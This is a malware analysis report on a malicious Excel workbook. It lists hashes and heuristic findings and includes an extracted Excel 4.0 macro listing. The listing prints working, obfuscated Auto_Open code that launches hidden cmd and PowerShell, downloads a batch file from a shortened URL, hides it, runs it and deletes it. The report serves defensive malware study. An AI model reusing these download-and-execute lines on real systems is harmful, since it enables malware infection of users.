Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d05995ab739b6b99…

MALICIOUS

Office (OLE)

275.0 KB Created: 2020-09-20 21:17:44 First seen: 2021-01-15
MD5: f81192d7fb07ca8b5179a607b5a57a97 SHA-1: cbf2655b4d3cbcc21e5f1aca8bb57cce4804a09f SHA-256: d05995ab739b6b995653fee878b9eca8cabe75de5c62d9f0ae9c6e5d4a0557db
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1484 bytes
SHA-256: b8bef3c47db10c162fbdbb788638d3943192e342ad65ac3429234aae07266b2c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, reserved bits not zero: 0x10 very hidden -  Macro
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Feuil
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Macro!K581 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Macro,L581,"",112.00000000000000000000
'  Macro,K582,"GET.CELL(5,L581)",""
'  Macro,K583,EXEC("c"&CHAR(109)&"d /c "&CHAR(K582)&"owershe^l^l -w 1 stARt`-slE`Ep 3; Move-Item "pd"&CHAR(46)&"bat" -Destination "$e`nV:T`EMP""),""
'  Macro,K585,EXEC("c"&CHAR(109)&"d /c "&CHAR(K582)&"owershe^l^l -w 1 stARt`-slE`Ep 12; Remove-Item -Path pd"&CHAR(46)&"bat -Force"),""
'  Macro,K586,EXEC("c"&CHAR(109)&"d /c "&CHAR(K582)&"owershe^l^l -w 1 stARt`-slE`Ep 1; attrib +s +h pd"&CHAR(46)&"bat"),""
'  Macro,K587,EXEC("c"&CHAR(109)&"d /c "&CHAR(K582)&"owershe^l^l -w 1 stARt`-slE`Ep 7;cd "$e`nV:T`EMP; ./pd"&CHAR(46)&"bat""),""
'  Macro,K596,"EXEC("c"&CHAR(109)&"d /c "&CHAR(K582)&"owershe^l^l -w 1 (nEw-oB`jecT Ne"&CHAR(116)&CHAR(46)&CHAR(87)&CHAR(101)&"bcLIENt).('Down'+'loadFile').In"&CHAR(118)&"oke('"&CHAR(104)&"ttps://cutt.ly/RjszLB1','pd"&CHAR(46)&"bat')")",""